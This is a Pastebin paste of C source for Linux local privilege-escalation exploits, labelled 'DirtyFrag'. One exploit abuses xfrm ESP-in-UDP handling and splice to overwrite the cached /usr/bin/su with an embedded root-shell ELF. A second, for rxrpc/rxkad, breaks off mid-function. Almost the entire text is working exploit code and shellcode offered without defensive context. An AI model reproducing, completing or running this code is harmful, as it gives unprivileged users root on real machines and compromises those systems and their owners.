bejiitas_wrath

Linux DirtyFrag exploit code.

May 14th, 2026 (edited)
82
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 68.12 KB | Source Code | 0 0
  1. #define _GNU_SOURCE
  2. #include <stdio.h>
  3. #include <stdlib.h>
  4. #include <string.h>
  5. #include <stdint.h>
  6. #include <unistd.h>
  7. #include <fcntl.h>
  8. #include <errno.h>
  9. #include <sched.h>
  10. #include <sys/syscall.h>
  11. #include <sys/types.h>
  12. #include <sys/socket.h>
  13. #include <sys/uio.h>
  14. #include <sys/ioctl.h>
  15. #include <sys/wait.h>
  16. #include <netinet/in.h>
  17. #include <arpa/inet.h>
  18. #include <net/if.h>
  19. #include <linux/if.h>
  20. #include <linux/netlink.h>
  21. #include <linux/rtnetlink.h>
  22. #include <linux/xfrm.h>
  23.  
  24. #ifndef UDP_ENCAP
  25. #define UDP_ENCAP 100
  26. #endif
  27. #ifndef UDP_ENCAP_ESPINUDP
  28. #define UDP_ENCAP_ESPINUDP 2
  29. #endif
  30. #ifndef SOL_UDP
  31. #define SOL_UDP 17
  32. #endif
  33.  
  34. #define ENC_PORT         4500
  35. #define SEQ_VAL          200
  36. #define REPLAY_SEQ       100
  37. #define TARGET_PATH      "/usr/bin/su"
  38. #define PATCH_OFFSET     0              /* overwrite whole ELF starting at file[0] */
  39. #define PAYLOAD_LEN      192            /* bytes of shell_elf to write (48 triggers) */
  40. #define ENTRY_OFFSET     0x78           /* shellcode entry inside the new ELF */
  41.  
  42. /*
  43.  * 192-byte minimal x86_64 root-shell ELF.
  44.  *   _start at 0x400078:
  45.  *     setgid(0); setuid(0); setgroups(0, NULL);
  46.  *     execve("/bin/sh", NULL, ["TERM=xterm", NULL]);
  47.  *   PT_LOAD covers 0xb8 bytes (the actual content) at vaddr 0x400000 R+X.
  48.  *
  49.  *   Setting TERM in the new shell's env silences the
  50.  *   "tput: No value for $TERM" / "test: : integer expected" noise
  51.  *   /etc/bash.bashrc and friends emit when TERM is unset.
  52.  *
  53.  * Code (from offset 0x78):
  54.  *   31 ff               xor edi, edi
  55.  *   31 f6               xor esi, esi
  56.  *   31 c0               xor eax, eax
  57.  *   b0 6a               mov al, 0x6a              ; setgid
  58.  *   0f 05               syscall
  59.  *   b0 69               mov al, 0x69              ; setuid
  60.  *   0f 05               syscall
  61.  *   b0 74               mov al, 0x74              ; setgroups
  62.  *   0f 05               syscall
  63.  *   6a 00               push 0                    ; envp[1] = NULL
  64.  *   48 8d 05 12 00 00 00 lea rax, [rip+0x12]      ; rax = "TERM=xterm"
  65.  *   50                  push rax                  ; envp[0]
  66.  *   48 89 e2            mov rdx, rsp              ; rdx = envp
  67.  *   48 8d 3d 12 00 00 00 lea rdi, [rip+0x12]      ; rdi = "/bin/sh"
  68.  *   31 f6               xor esi, esi              ; rsi = NULL (argv)
  69.  *   6a 3b 58            push 0x3b ; pop rax       ; rax = 59 (execve)
  70.  *   0f 05               syscall                   ; execve("/bin/sh",NULL,envp)
  71.  *   "TERM=xterm\0"      (offset 0xa5..0xaf)
  72.  *   "/bin/sh\0"         (offset 0xb0..0xb7)
  73.  */
  74. static const uint8_t shell_elf[PAYLOAD_LEN] = {
  75.     0x7f,0x45,0x4c,0x46,0x02,0x01,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
  76.     0x02,0x00,0x3e,0x00,0x01,0x00,0x00,0x00,0x78,0x00,0x40,0x00,0x00,0x00,0x00,0x00,
  77.     0x40,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
  78.     0x00,0x00,0x00,0x00,0x40,0x00,0x38,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
  79.     0x01,0x00,0x00,0x00,0x05,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
  80.     0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x00,
  81.     0xb8,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xb8,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
  82.     0x00,0x10,0x00,0x00,0x00,0x00,0x00,0x00,0x31,0xff,0x31,0xf6,0x31,0xc0,0xb0,0x6a,
  83.     0x0f,0x05,0xb0,0x69,0x0f,0x05,0xb0,0x74,0x0f,0x05,0x6a,0x00,0x48,0x8d,0x05,0x12,
  84.     0x00,0x00,0x00,0x50,0x48,0x89,0xe2,0x48,0x8d,0x3d,0x12,0x00,0x00,0x00,0x31,0xf6,
  85.     0x6a,0x3b,0x58,0x0f,0x05,0x54,0x45,0x52,0x4d,0x3d,0x78,0x74,0x65,0x72,0x6d,0x00,
  86.     0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
  87. };
  88.  
  89. extern int g_su_verbose;
  90. int g_su_verbose = 0;
  91. #define SLOG(fmt, ...) do { if (g_su_verbose) fprintf(stderr, "[su] " fmt "\n", ##__VA_ARGS__); } while (0)
  92.  
  93. static int write_proc(const char *path, const char *buf)
  94. {
  95.     int fd = open(path, O_WRONLY);
  96.     if (fd < 0) return -1;
  97.     int n = write(fd, buf, strlen(buf));
  98.     close(fd);
  99.     return n;
  100. }
  101.  
  102. static void setup_userns_netns(void)
  103. {
  104.     uid_t real_uid = getuid();
  105.     gid_t real_gid = getgid();
  106.     if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) {
  107.         SLOG("unshare: %s", strerror(errno));
  108.         exit(1);
  109.     }
  110.     write_proc("/proc/self/setgroups", "deny");
  111.     char map[64];
  112.     snprintf(map, sizeof(map), "0 %u 1", real_uid);
  113.     if (write_proc("/proc/self/uid_map", map) < 0) {
  114.         SLOG("uid_map: %s", strerror(errno)); exit(1);
  115.     }
  116.     snprintf(map, sizeof(map), "0 %u 1", real_gid);
  117.     if (write_proc("/proc/self/gid_map", map) < 0) {
  118.         SLOG("gid_map: %s", strerror(errno)); exit(1);
  119.     }
  120.     int s = socket(AF_INET, SOCK_DGRAM, 0);
  121.     if (s < 0) { SLOG("socket: %s", strerror(errno)); exit(1); }
  122.     struct ifreq ifr; memset(&ifr, 0, sizeof(ifr));
  123.     strncpy(ifr.ifr_name, "lo", IFNAMSIZ);
  124.     if (ioctl(s, SIOCGIFFLAGS, &ifr) < 0) { SLOG("SIOCGIFFLAGS: %s", strerror(errno)); exit(1); }
  125.     ifr.ifr_flags |= IFF_UP | IFF_RUNNING;
  126.     if (ioctl(s, SIOCSIFFLAGS, &ifr) < 0) { SLOG("SIOCSIFFLAGS: %s", strerror(errno)); exit(1); }
  127.     close(s);
  128. }
  129.  
  130. static void put_attr(struct nlmsghdr *nlh, int type, const void *data, size_t len)
  131. {
  132.     struct rtattr *rta = (struct rtattr *)((char *)nlh + NLMSG_ALIGN(nlh->nlmsg_len));
  133.     rta->rta_type = type;
  134.     rta->rta_len  = RTA_LENGTH(len);
  135.     memcpy(RTA_DATA(rta), data, len);
  136.     nlh->nlmsg_len = NLMSG_ALIGN(nlh->nlmsg_len) + RTA_ALIGN(rta->rta_len);
  137. }
  138.  
  139. static int add_xfrm_sa(uint32_t spi, uint32_t patch_seqhi)
  140. {
  141.     int sk = socket(AF_NETLINK, SOCK_RAW, NETLINK_XFRM);
  142.     if (sk < 0) return -1;
  143.     struct sockaddr_nl nl = { .nl_family = AF_NETLINK };
  144.     if (bind(sk, (struct sockaddr*)&nl, sizeof(nl)) < 0) { close(sk); return -1; }
  145.  
  146.     char buf[4096] = {0};
  147.     struct nlmsghdr *nlh = (struct nlmsghdr *)buf;
  148.     nlh->nlmsg_type  = XFRM_MSG_NEWSA;
  149.     nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
  150.     nlh->nlmsg_pid   = getpid();
  151.     nlh->nlmsg_seq   = 1;
  152.     nlh->nlmsg_len   = NLMSG_LENGTH(sizeof(struct xfrm_usersa_info));
  153.  
  154.     struct xfrm_usersa_info *xs = (struct xfrm_usersa_info *)NLMSG_DATA(nlh);
  155.     xs->id.daddr.a4 = inet_addr("127.0.0.1");
  156.     xs->id.spi      = htonl(spi);
  157.     xs->id.proto    = IPPROTO_ESP;
  158.     xs->saddr.a4    = inet_addr("127.0.0.1");
  159.     xs->family      = AF_INET;
  160.     xs->mode        = XFRM_MODE_TRANSPORT;
  161.     xs->replay_window = 0;
  162.     xs->reqid       = 0x1234;
  163.     xs->flags       = XFRM_STATE_ESN;
  164.     xs->lft.soft_byte_limit   = (uint64_t)-1;
  165.     xs->lft.hard_byte_limit   = (uint64_t)-1;
  166.     xs->lft.soft_packet_limit = (uint64_t)-1;
  167.     xs->lft.hard_packet_limit = (uint64_t)-1;
  168.     xs->sel.family  = AF_INET;
  169.     xs->sel.prefixlen_d = 32;
  170.     xs->sel.prefixlen_s = 32;
  171.     xs->sel.daddr.a4 = inet_addr("127.0.0.1");
  172.     xs->sel.saddr.a4 = inet_addr("127.0.0.1");
  173.  
  174.     {
  175.         char alg_buf[sizeof(struct xfrm_algo_auth) + 32];
  176.         memset(alg_buf, 0, sizeof(alg_buf));
  177.         struct xfrm_algo_auth *aa = (struct xfrm_algo_auth *)alg_buf;
  178.         strncpy(aa->alg_name, "hmac(sha256)", sizeof(aa->alg_name)-1);
  179.         aa->alg_key_len   = 32 * 8;
  180.         aa->alg_trunc_len = 128;
  181.         memset(aa->alg_key, 0xAA, 32);
  182.         put_attr(nlh, XFRMA_ALG_AUTH_TRUNC, alg_buf, sizeof(alg_buf));
  183.     }
  184.     {
  185.         char alg_buf[sizeof(struct xfrm_algo) + 16];
  186.         memset(alg_buf, 0, sizeof(alg_buf));
  187.         struct xfrm_algo *ea = (struct xfrm_algo *)alg_buf;
  188.         strncpy(ea->alg_name, "cbc(aes)", sizeof(ea->alg_name)-1);
  189.         ea->alg_key_len = 16 * 8;
  190.         memset(ea->alg_key, 0xBB, 16);
  191.         put_attr(nlh, XFRMA_ALG_CRYPT, alg_buf, sizeof(alg_buf));
  192.     }
  193.     {
  194.         struct xfrm_encap_tmpl enc;
  195.         memset(&enc, 0, sizeof(enc));
  196.         enc.encap_type  = UDP_ENCAP_ESPINUDP;
  197.         enc.encap_sport = htons(ENC_PORT);
  198.         enc.encap_dport = htons(ENC_PORT);
  199.         enc.encap_oa.a4 = 0;
  200.         put_attr(nlh, XFRMA_ENCAP, &enc, sizeof(enc));
  201.     }
  202.     {
  203.         char esn_buf[sizeof(struct xfrm_replay_state_esn) + 4];
  204.         memset(esn_buf, 0, sizeof(esn_buf));
  205.         struct xfrm_replay_state_esn *esn = (struct xfrm_replay_state_esn *)esn_buf;
  206.         esn->bmp_len       = 1;
  207.         esn->oseq          = 0;
  208.         esn->seq           = REPLAY_SEQ;
  209.         esn->oseq_hi       = 0;
  210.         esn->seq_hi        = patch_seqhi;
  211.         esn->replay_window = 32;
  212.         put_attr(nlh, XFRMA_REPLAY_ESN_VAL, esn_buf, sizeof(esn_buf));
  213.     }
  214.  
  215.     if (send(sk, nlh, nlh->nlmsg_len, 0) < 0) { close(sk); return -1; }
  216.     char rbuf[4096];
  217.     int n = recv(sk, rbuf, sizeof(rbuf), 0);
  218.     if (n < 0) { close(sk); return -1; }
  219.     struct nlmsghdr *rh = (struct nlmsghdr *)rbuf;
  220.     if (rh->nlmsg_type == NLMSG_ERROR) {
  221.         struct nlmsgerr *e = NLMSG_DATA(rh);
  222.         if (e->error) { close(sk); return -1; }
  223.     }
  224.     close(sk);
  225.     return 0;
  226. }
  227.  
  228. static int do_one_write(const char *path, off_t offset, uint32_t spi)
  229. {
  230.     int sk_recv = socket(AF_INET, SOCK_DGRAM, 0);
  231.     if (sk_recv < 0) return -1;
  232.     int one = 1;
  233.     setsockopt(sk_recv, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one));
  234.     struct sockaddr_in sa_d = {
  235.         .sin_family = AF_INET,
  236.         .sin_port   = htons(ENC_PORT),
  237.         .sin_addr   = { inet_addr("127.0.0.1") },
  238.     };
  239.     if (bind(sk_recv, (struct sockaddr*)&sa_d, sizeof(sa_d)) < 0) {
  240.         close(sk_recv); return -1;
  241.     }
  242.     int encap = UDP_ENCAP_ESPINUDP;
  243.     if (setsockopt(sk_recv, IPPROTO_UDP, UDP_ENCAP, &encap, sizeof(encap)) < 0) {
  244.         close(sk_recv); return -1;
  245.     }
  246.     int sk_send = socket(AF_INET, SOCK_DGRAM, 0);
  247.     if (sk_send < 0) { close(sk_recv); return -1; }
  248.     if (connect(sk_send, (struct sockaddr*)&sa_d, sizeof(sa_d)) < 0) {
  249.         close(sk_send); close(sk_recv); return -1;
  250.     }
  251.     int file_fd = open(path, O_RDONLY);
  252.     if (file_fd < 0) { close(sk_send); close(sk_recv); return -1; }
  253.  
  254.     int pfd[2];
  255.     if (pipe(pfd) < 0) { close(file_fd); close(sk_send); close(sk_recv); return -1; }
  256.  
  257.     uint8_t hdr[24];
  258.     *(uint32_t*)(hdr + 0) = htonl(spi);
  259.     *(uint32_t*)(hdr + 4) = htonl(SEQ_VAL);
  260.     memset(hdr + 8, 0xCC, 16);
  261.  
  262.     struct iovec iov_h = { .iov_base = hdr, .iov_len = sizeof(hdr) };
  263.     if (vmsplice(pfd[1], &iov_h, 1, 0) != (ssize_t)sizeof(hdr)) {
  264.         close(file_fd); close(pfd[0]); close(pfd[1]); close(sk_send); close(sk_recv); return -1;
  265.     }
  266.     off_t off = offset;
  267.     ssize_t s = splice(file_fd, &off, pfd[1], NULL, 16, SPLICE_F_MOVE);
  268.     if (s != 16) {
  269.         close(file_fd); close(pfd[0]); close(pfd[1]); close(sk_send); close(sk_recv); return -1;
  270.     }
  271.     s = splice(pfd[0], NULL, sk_send, NULL, 24 + 16, SPLICE_F_MOVE);
  272.     /* still proceed regardless of splice rc — kernel may have already
  273.      * decrypted the page in the time between splice and recv */
  274.     usleep(150 * 1000);
  275.  
  276.     close(file_fd); close(pfd[0]); close(pfd[1]);
  277.     close(sk_send); close(sk_recv);
  278.     return s == 40 ? 0 : -1;
  279. }
  280.  
  281. static int verify_byte(const char *path, off_t offset, uint8_t want)
  282. {
  283.     int fd = open(path, O_RDONLY);
  284.     if (fd < 0) return -1;
  285.     uint8_t got;
  286.     if (pread(fd, &got, 1, offset) != 1) { close(fd); return -1; }
  287.     close(fd);
  288.     return got == want ? 0 : -1;
  289. }
  290.  
  291. static int corrupt_su(void)
  292. {
  293.     setup_userns_netns();
  294.     usleep(100 * 1000);
  295.  
  296.     /* Install 40 xfrm SAs, one per 4-byte chunk.  Each carries the
  297.      * desired payload word in its seq_hi field. */
  298.     for (int i = 0; i < PAYLOAD_LEN / 4; i++) {
  299.         uint32_t spi = 0xDEADBE10 + i;
  300.         uint32_t seqhi =
  301.             ((uint32_t)shell_elf[i*4 + 0] << 24) |
  302.             ((uint32_t)shell_elf[i*4 + 1] << 16) |
  303.             ((uint32_t)shell_elf[i*4 + 2] <<  8) |
  304.             ((uint32_t)shell_elf[i*4 + 3]);
  305.         if (add_xfrm_sa(spi, seqhi) < 0) {
  306.             SLOG("add_xfrm_sa #%d failed", i);
  307.             return -1;
  308.         }
  309.     }
  310.     SLOG("installed %d xfrm SAs", PAYLOAD_LEN / 4);
  311.  
  312.     for (int i = 0; i < PAYLOAD_LEN / 4; i++) {
  313.         uint32_t spi = 0xDEADBE10 + i;
  314.         off_t off = PATCH_OFFSET + i * 4;
  315.         if (do_one_write(TARGET_PATH, off, spi) < 0) {
  316.             SLOG("do_one_write #%d at off=0x%lx failed", i, (long)off);
  317.             return -1;
  318.         }
  319.     }
  320.     SLOG("wrote %d bytes to %s starting at 0x%x",
  321.             PAYLOAD_LEN, TARGET_PATH, PATCH_OFFSET);
  322.     return 0;
  323. }
  324.  
  325. int su_lpe_main(int argc, char **argv)
  326. {
  327.     for (int i = 1; i < argc; i++) {
  328.         if (!strcmp(argv[i], "-v") || !strcmp(argv[i], "--verbose"))
  329.             g_su_verbose = 1;
  330.         else if (!strcmp(argv[i], "--corrupt-only"))
  331.             ; /* compat: this body always corrupts only */
  332.     }
  333.     if (getenv("DIRTYFRAG_VERBOSE")) g_su_verbose = 1;
  334.  
  335.     pid_t cpid = fork();
  336.     if (cpid < 0) return 1;
  337.     if (cpid == 0) {
  338.         int rc = corrupt_su();
  339.         _exit(rc == 0 ? 0 : 2);
  340.     }
  341.     int cstatus;
  342.     waitpid(cpid, &cstatus, 0);
  343.     if (!WIFEXITED(cstatus) || WEXITSTATUS(cstatus) != 0) {
  344.         SLOG("corruption stage failed (status=0x%x)", cstatus);
  345.         return 1;
  346.     }
  347.  
  348.     /* Sanity check: bytes at the embedded ELF entry (file offset 0x78
  349.      * after our overwrite) should be 0x31 0xff (xor edi, edi — first
  350.      * instruction of the new shellcode). */
  351.     if (verify_byte(TARGET_PATH, ENTRY_OFFSET, 0x31) != 0 ||
  352.             verify_byte(TARGET_PATH, ENTRY_OFFSET + 1, 0xff) != 0) {
  353.         SLOG("post-write verify failed (target unchanged)");
  354.         return 1;
  355.     }
  356.     SLOG("/usr/bin/su page-cache patched (entry 0x%x = shellcode)",
  357.             ENTRY_OFFSET);
  358.     return 0;
  359. }
  360. /*
  361.  * rxrpc/rxkad LPE — uid=1000 → root
  362.  */
  363.  
  364. #define _GNU_SOURCE
  365. #include <stdio.h>
  366. #include <stdlib.h>
  367. #include <string.h>
  368. #include <stdint.h>
  369. #include <stdarg.h>
  370. #include <errno.h>
  371. #include <unistd.h>
  372. #include <fcntl.h>
  373. #include <time.h>
  374. #include <sched.h>
  375. #include <poll.h>
  376. #include <signal.h>
  377. #include <sys/wait.h>
  378. #include <sys/socket.h>
  379. #include <sys/syscall.h>
  380. #include <sys/uio.h>
  381. #include <sys/types.h>
  382. #include <sys/mman.h>
  383. #include <sys/stat.h>
  384. #include <sys/ioctl.h>
  385. #include <netinet/in.h>
  386. #include <arpa/inet.h>
  387. #include <linux/rxrpc.h>
  388. #include <linux/keyctl.h>
  389. #include <linux/if_alg.h>
  390. #include <net/if.h>
  391. #include <termios.h>
  392.  
  393. #ifndef AF_RXRPC
  394. #define AF_RXRPC 33
  395. #endif
  396. #ifndef PF_RXRPC
  397. #define PF_RXRPC AF_RXRPC
  398. #endif
  399. #ifndef SOL_RXRPC
  400. #define SOL_RXRPC 272
  401. #endif
  402. #ifndef SOL_ALG
  403. #define SOL_ALG 279
  404. #endif
  405. #ifndef AF_ALG
  406. #define AF_ALG 38
  407. #endif
  408. #ifndef MSG_SPLICE_PAGES
  409. #define MSG_SPLICE_PAGES 0x8000000
  410. #endif
  411.  
  412. /* ---- rxrpc constants ---- */
  413. #define RXRPC_PACKET_TYPE_DATA          1
  414. #define RXRPC_PACKET_TYPE_ACK           2
  415. #define RXRPC_PACKET_TYPE_ABORT         4
  416. #define RXRPC_PACKET_TYPE_CHALLENGE     6
  417. #define RXRPC_PACKET_TYPE_RESPONSE      7
  418. #define RXRPC_CLIENT_INITIATED          0x01
  419. #define RXRPC_REQUEST_ACK               0x02
  420. #define RXRPC_LAST_PACKET               0x04
  421. #define RXRPC_CHANNELMASK               3
  422. #define RXRPC_CIDSHIFT                  2
  423.  
  424. struct rxrpc_wire_header {
  425.     uint32_t epoch;
  426.     uint32_t cid;
  427.     uint32_t callNumber;
  428.     uint32_t seq;
  429.     uint32_t serial;
  430.     uint8_t  type;
  431.     uint8_t  flags;
  432.     uint8_t  userStatus;
  433.     uint8_t  securityIndex;
  434.     uint16_t cksum;        /* big-endian on wire */
  435.     uint16_t serviceId;
  436. } __attribute__((packed));
  437.  
  438. struct rxkad_challenge {
  439.     uint32_t version;
  440.     uint32_t nonce;
  441.     uint32_t min_level;
  442.     uint32_t __padding;
  443. } __attribute__((packed));
  444.  
  445. /* Attacker-chosen 8-byte session key used for the rxkad token.
  446.  * Mutable because the LPE brute-force iterates over keys looking for
  447.  * one that decrypts the file's UID field to a "0:" prefix. */
  448. static uint8_t SESSION_KEY[8] = {
  449.     0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08
  450. };
  451.  
  452. #define LOG(fmt, ...) fprintf(stderr, "[+] " fmt "\n", ##__VA_ARGS__)
  453. #define WARN(fmt, ...) fprintf(stderr, "[!] " fmt "\n", ##__VA_ARGS__)
  454. #define DBG(fmt, ...) fprintf(stderr, "[.] " fmt "\n", ##__VA_ARGS__)
  455.  
  456. /* =================================================================== */
  457. /* unshare + map setup                                                  */
  458. /* =================================================================== */
  459.  
  460. static int write_file(const char *path, const char *fmt, ...)
  461. {
  462.     int fd = open(path, O_WRONLY);
  463.     if (fd < 0) return -1;
  464.     char buf[256]; va_list ap; va_start(ap, fmt);
  465.     int n = vsnprintf(buf, sizeof(buf), fmt, ap); va_end(ap);
  466.     int r = (int)write(fd, buf, n); close(fd);
  467.     return r;
  468. }
  469.  
  470. static int do_unshare_userns_netns(void)
  471. {
  472.     uid_t real_uid = getuid();
  473.     gid_t real_gid = getgid();
  474.     if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) {
  475.         WARN("unshare(NEWUSER|NEWNET): %s", strerror(errno));
  476.         return -1;
  477.     }
  478.     LOG("unshare(USER|NET) OK, real uid=%u", real_uid);
  479.     write_file("/proc/self/setgroups", "deny");
  480.     if (write_file("/proc/self/uid_map", "%u %u 1", real_uid, real_uid) < 0) {
  481.         WARN("uid_map: %s", strerror(errno)); return -1;
  482.     }
  483.     if (write_file("/proc/self/gid_map", "%u %u 1", real_gid, real_gid) < 0) {
  484.         WARN("gid_map: %s", strerror(errno)); return -1;
  485.     }
  486.     LOG("uid/gid identity-mapped %u/%u; gained CAP_NET_RAW within netns",
  487.             real_uid, real_gid);
  488.  
  489.     /* ifup lo */
  490.     int s = socket(AF_INET, SOCK_DGRAM, 0);
  491.     if (s >= 0) {
  492.         struct ifreq ifr; memset(&ifr, 0, sizeof(ifr));
  493.         strcpy(ifr.ifr_name, "lo");
  494.         if (ioctl(s, SIOCGIFFLAGS, &ifr) == 0) {
  495.             ifr.ifr_flags |= IFF_UP | IFF_RUNNING;
  496.             if (ioctl(s, SIOCSIFFLAGS, &ifr) < 0)
  497.                 WARN("SIOCSIFFLAGS lo: %s", strerror(errno));
  498.             else
  499.                 LOG("lo brought UP in new netns");
  500.         }
  501.         close(s);
  502.     }
  503.     return 0;
  504. }
  505.  
  506. /* =================================================================== */
  507. /* rxrpc key (rxkad v1 token with attacker session key)                 */
  508. /* =================================================================== */
  509.  
  510. static long key_add(const char *type, const char *desc,
  511.         const void *payload, size_t plen, int ringid)
  512. {
  513.     return syscall(SYS_add_key, type, desc, payload, plen, ringid);
  514. }
  515.  
  516. static int build_rxrpc_v1_token(uint8_t *out, size_t maxlen)
  517. {
  518.     uint8_t *p = out;
  519.     uint32_t now = (uint32_t)time(NULL);
  520.     uint32_t expires = now + 86400;
  521.     *(uint32_t *)p = htonl(0); p += 4;   /* flags */
  522.     const char *cell = "evil";
  523.     uint32_t clen = strlen(cell);
  524.     *(uint32_t *)p = htonl(clen); p += 4;
  525.     memcpy(p, cell, clen);
  526.     uint32_t pad = (4 - (clen & 3)) & 3;
  527.     memset(p + clen, 0, pad);
  528.     p += clen + pad;
  529.     *(uint32_t *)p = htonl(1); p += 4;   /* ntoken */
  530.     uint8_t *toklen_p = p; p += 4;
  531.     uint8_t *tokstart = p;
  532.     *(uint32_t *)p = htonl(2); p += 4;   /* sec_ix = RXKAD */
  533.     *(uint32_t *)p = htonl(0); p += 4;   /* vice_id */
  534.     *(uint32_t *)p = htonl(1); p += 4;   /* kvno */
  535.     memcpy(p, SESSION_KEY, 8); p += 8;   /* session_key K */
  536.     *(uint32_t *)p = htonl(now); p += 4;
  537.     *(uint32_t *)p = htonl(expires); p += 4;
  538.     *(uint32_t *)p = htonl(1); p += 4;   /* primary_flag */
  539.     *(uint32_t *)p = htonl(8); p += 4;   /* ticket_len */
  540.     memset(p, 0xCC, 8); p += 8;          /* ticket */
  541.     uint32_t toklen = (uint32_t)(p - tokstart);
  542.     *(uint32_t *)toklen_p = htonl(toklen);
  543.     if ((size_t)(p - out) > maxlen) { errno = E2BIG; return -1; }
  544.     return (int)(p - out);
  545. }
  546.  
  547. static long add_rxrpc_key(const char *desc)
  548. {
  549.     uint8_t buf[512];
  550.     int n = build_rxrpc_v1_token(buf, sizeof(buf));
  551.     if (n < 0) return -1;
  552.     return key_add("rxrpc", desc, buf, n, KEY_SPEC_PROCESS_KEYRING);
  553. }
  554.  
  555. /* =================================================================== */
  556. /* AF_ALG pcbc(fcrypt) helpers                                          */
  557. /* =================================================================== */
  558.  
  559. static int alg_open_pcbc_fcrypt(const uint8_t key[8])
  560. {
  561.     int s = socket(AF_ALG, SOCK_SEQPACKET, 0);
  562.     if (s < 0) { WARN("socket(AF_ALG): %s", strerror(errno)); return -1; }
  563.     struct sockaddr_alg sa = { .salg_family = AF_ALG };
  564.     strcpy((char *)sa.salg_type, "skcipher");
  565.     strcpy((char *)sa.salg_name, "pcbc(fcrypt)");
  566.     if (bind(s, (struct sockaddr *)&sa, sizeof(sa)) < 0) {
  567.         WARN("bind(AF_ALG pcbc(fcrypt)): %s", strerror(errno));
  568.         close(s); return -1;
  569.     }
  570.     if (setsockopt(s, SOL_ALG, ALG_SET_KEY, key, 8) < 0) {
  571.         WARN("ALG_SET_KEY: %s", strerror(errno));
  572.         close(s); return -1;
  573.     }
  574.     return s;
  575. }
  576.  
  577. /* Encrypt-or-decrypt a 1+ block of data with a given IV. */
  578. static int alg_op(int alg_s, int op, const uint8_t iv[8],
  579.         const void *in, size_t inlen, void *out)
  580. {
  581.     int op_fd = accept(alg_s, NULL, NULL);
  582.     if (op_fd < 0) { WARN("accept(AF_ALG): %s", strerror(errno)); return -1; }
  583.  
  584.     char cbuf[CMSG_SPACE(sizeof(int)) +
  585.         CMSG_SPACE(sizeof(struct af_alg_iv) + 8)] = {0};
  586.     struct msghdr msg = {0};
  587.     msg.msg_control = cbuf;
  588.     msg.msg_controllen = sizeof(cbuf);
  589.  
  590.     struct cmsghdr *c = CMSG_FIRSTHDR(&msg);
  591.     c->cmsg_level = SOL_ALG;
  592.     c->cmsg_type = ALG_SET_OP;
  593.     c->cmsg_len = CMSG_LEN(sizeof(int));
  594.     *(int *)CMSG_DATA(c) = op;
  595.  
  596.     c = CMSG_NXTHDR(&msg, c);
  597.     c->cmsg_level = SOL_ALG;
  598.     c->cmsg_type = ALG_SET_IV;
  599.     c->cmsg_len = CMSG_LEN(sizeof(struct af_alg_iv) + 8);
  600.     struct af_alg_iv *aiv = (struct af_alg_iv *)CMSG_DATA(c);
  601.     aiv->ivlen = 8;
  602.     memcpy(aiv->iv, iv, 8);
  603.  
  604.     struct iovec iov = { .iov_base = (void *)in, .iov_len = inlen };
  605.     msg.msg_iov = &iov; msg.msg_iovlen = 1;
  606.  
  607.     if (sendmsg(op_fd, &msg, 0) < 0) {
  608.         WARN("AF_ALG sendmsg: %s", strerror(errno));
  609.         close(op_fd); return -1;
  610.     }
  611.     ssize_t n = read(op_fd, out, inlen);
  612.     close(op_fd);
  613.     if (n != (ssize_t)inlen) {
  614.         WARN("AF_ALG read got %zd want %zu: %s",
  615.                 n, inlen, strerror(errno));
  616.         return -1;
  617.     }
  618.     return 0;
  619. }
  620.  
  621. /* Compute conn->rxkad.csum_iv (ref: rxkad_prime_packet_security):
  622.  *   tmpbuf[0..3] = htonl(epoch, cid, 0, security_ix)  (16 B)
  623.  *   PCBC-encrypt(tmpbuf, IV=session_key) → out[16]
  624.  *   csum_iv = out[8..15]   (last 8 B = "tmpbuf[2..3]" after encryption)
  625.  */
  626. static int compute_csum_iv(uint32_t epoch, uint32_t cid, uint32_t sec_ix,
  627.         const uint8_t key[8], uint8_t csum_iv[8])
  628. {
  629.     int s = alg_open_pcbc_fcrypt(key);
  630.     if (s < 0) return -1;
  631.     uint32_t in[4]  = { htonl(epoch), htonl(cid), 0, htonl(sec_ix) };
  632.     uint8_t  out[16];
  633.     int rc = alg_op(s, ALG_OP_ENCRYPT, key, in, 16, out);
  634.     close(s);
  635.     if (rc < 0) return -1;
  636.     memcpy(csum_iv, out + 8, 8);
  637.     return 0;
  638. }
  639.  
  640. /* Compute the wire cksum (ref: rxkad_secure_packet @rxkad.c:342):
  641.  *   x = (cid_low2 << 30) | (seq & 0x3fffffff)
  642.  *   buf[0] = htonl(call_id), buf[1] = htonl(x)    (8 B)
  643.  *   PCBC-encrypt(buf, IV=csum_iv) → enc[8]
  644.  *   y = ntohl(enc[1]); cksum = (y >> 16) & 0xffff;  if zero -> 1
  645.  */
  646. static int compute_cksum(uint32_t cid, uint32_t call_id, uint32_t seq,
  647.         const uint8_t key[8], const uint8_t csum_iv[8],
  648.         uint16_t *cksum_out)
  649. {
  650.     int s = alg_open_pcbc_fcrypt(key);
  651.     if (s < 0) return -1;
  652.     uint32_t x = (cid & RXRPC_CHANNELMASK) << (32 - RXRPC_CIDSHIFT);
  653.     x |= seq & 0x3fffffff;
  654.     uint32_t in[2] = { htonl(call_id), htonl(x) };
  655.     uint32_t out[2];
  656.     int rc = alg_op(s, ALG_OP_ENCRYPT, csum_iv, in, 8, out);
  657.     close(s);
  658.     if (rc < 0) return -1;
  659.     uint32_t y = ntohl(out[1]);
  660.     uint16_t v = (y >> 16) & 0xffff;
  661.     if (v == 0) v = 1;
  662.     *cksum_out = v;
  663.     return 0;
  664. }
  665.  
  666. /* =================================================================== */
  667. /* AF_RXRPC client                                                      */
  668. /* =================================================================== */
  669.  
  670. static int setup_rxrpc_client(uint16_t local_port, const char *keyname)
  671. {
  672.     int fd = socket(AF_RXRPC, SOCK_DGRAM, PF_INET);
